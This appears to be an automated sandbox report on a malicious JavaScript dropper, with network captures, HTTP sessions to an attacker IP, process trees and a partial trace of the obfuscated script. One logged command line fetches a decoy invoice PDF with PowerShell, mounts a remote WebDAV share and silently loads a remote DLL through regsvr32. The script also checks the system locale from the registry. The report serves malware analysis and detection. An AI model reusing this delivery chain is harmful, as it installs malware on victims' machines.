Jan 10, 2025 22:00:57.793647051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.793658972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.793669939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.793704987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.793710947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.793715954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.793723106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.793732882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.793742895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.793744087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.793755054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.793755054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.793778896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.793831110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.793839931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.793850899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.793859005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.793863058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.793867111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.793874025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.793884039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.793889999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.793895960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.793931961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.793945074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.794028997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.820192099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.820223093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.820234060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.820245981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.820264101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.820275068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.820286036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.820339918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.820374966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.820427895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.820427895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.820498943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.820508957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.820521116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.820532084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.820542097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.820545912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.820554018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.820565939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.820575953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.820596933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.855366945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.855438948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.855448008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.855459929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.855470896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.855480909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.855492115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.855503082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.855513096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.855515003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.855537891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.856894016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.856913090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.856923103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.856934071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.856941938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.856951952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.856961966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.856965065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.856997967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.857008934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.857016087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.857018948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.857037067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.857059956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.857352018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.857386112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.857423067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.914772034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:58.425466061 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:58.430351019 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:58.430434942 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:58.430680037 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:58.435440063 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:59.213293076 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:59.254424095 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:59.527416945 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:01:25.739288092 CET	59507	53	192.168.2.5	1.1.1.1
Jan 10, 2025 22:01:25.762538910 CET	53	59507	1.1.1.1	192.168.2.5
Jan 10, 2025 22:01:25.762645960 CET	59507	53	192.168.2.5	1.1.1.1
Jan 10, 2025 22:01:25.762778997 CET	59507	53	192.168.2.5	1.1.1.1
Jan 10, 2025 22:01:25.773849964 CET	53	59507	1.1.1.1	192.168.2.5
Jan 10, 2025 22:01:26.226074934 CET	53	59507	1.1.1.1	192.168.2.5
Jan 10, 2025 22:01:26.231699944 CET	59507	53	192.168.2.5	1.1.1.1
Jan 10, 2025 22:01:26.236922026 CET	53	59507	1.1.1.1	192.168.2.5
Jan 10, 2025 22:01:26.237107038 CET	59507	53	192.168.2.5	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:01:11.487152100 CET	63720	53	192.168.2.5	1.1.1.1
Jan 10, 2025 22:01:25.738720894 CET	53	61409	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:01:11.487152100 CET	192.168.2.5	1.1.1.1	0xc7b0	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:01:11.064974070 CET	1.1.1.1	192.168.2.5	0x14e8	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:01:11.064974070 CET	1.1.1.1	192.168.2.5	0x14e8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.37	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:01:11.064974070 CET	1.1.1.1	192.168.2.5	0x14e8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.25	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:01:11.064974070 CET	1.1.1.1	192.168.2.5	0x14e8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.26	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:01:11.064974070 CET	1.1.1.1	192.168.2.5	0x14e8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.38	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:01:11.064974070 CET	1.1.1.1	192.168.2.5	0x14e8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:01:11.064974070 CET	1.1.1.1	192.168.2.5	0x14e8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:01:11.064974070 CET	1.1.1.1	192.168.2.5	0x14e8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:01:11.064974070 CET	1.1.1.1	192.168.2.5	0x14e8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.24	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:01:11.495537043 CET	1.1.1.1	192.168.2.5	0xc7b0	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6476	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:00:56.280648947 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:00:57.083018064 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:00:56 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:00:57.083039999 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:00:57.083050013 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 22:00:57.083061934 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 22:00:57.083072901 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 22:00:57.083081961 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 22:00:57.083091974 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 22:00:57.083102942 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 22:00:57.083112955 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 10, 2025 22:00:57.083123922 CET	824	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 10, 2025 22:00:57.128554106 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	5004	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:00:58.430680037 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:00:59.213293076 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:00:59 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:00:53
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2832817159901627624.js"
Imagebase:	0x7ff731cf0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:00:53
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll
Imagebase:	0x7ff6685d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:00:53
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:00:54
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:00:57
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:00:57
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6685d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:00:57
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff61b9b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:00:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:00:58
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:00:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1768,i,17196989790410728869,8051120368359651393,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function oqjgle() {	oqjgle() ➔ undefined
1	cbdwvkuz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ltuorpiqf = this[chrncz + lfzadyduc + ijdiudgvv + jalagkznu + ajpaqxtj + zsoqmuyo + lfvezefl + mjhbhycd] ( this[bykzgefla + venjzvnqa + jwcsy + ijdiudgvv + wtjrubag + chrncz + mjhbhycd][ejzdhstpr + ijdiudgvv + ajpaqxtj + lfzadyduc + mjhbhycd + ajpaqxtj + hceygbul + dhowj + hfatzqq + ajpaqxtj + jwcsy + mjhbhycd] ( bykzgefla + venjzvnqa + jwcsy + ijdiudgvv + wtjrubag + chrncz + mjhbhycd + qefxnacfy + venjzvnqa + oiharydu + ajpaqxtj + yawsoc + yawsoc ) [aaanhvbdl + ajpaqxtj + iqinyibrh + aaanhvbdl + ajpaqxtj + lfzadyduc + bgctsumoi] ( wrsvll + xvzuvaqun + jchxgr + aivxymoy + ljtgyqtpt + ejzdhstpr + ktwpt + aaanhvbdl + aaanhvbdl + jchxgr + ijclny + tmiyg + ljtgyqtpt + ktwpt + venjzvnqa + jchxgr + aaanhvbdl + anuwowp + ejzdhstpr + ttugijapu + lfvezefl + mjhbhycd + ijdiudgvv + ttugijapu + yawsoc + pmtbfhs + fwqskdf + lfzadyduc + lfvezefl + ajpaqxtj + yawsoc + anuwowp + zsoqmuyo + lfvezefl + mjhbhycd + ajpaqxtj + ijdiudgvv + lfvezefl + lfzadyduc + mjhbhycd + wtjrubag + ttugijapu + lfvezefl + lfzadyduc + yawsoc + anuwowp + gwaqtyk + ttugijapu + jwcsy + lfzadyduc + yawsoc + ajpaqxtj ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
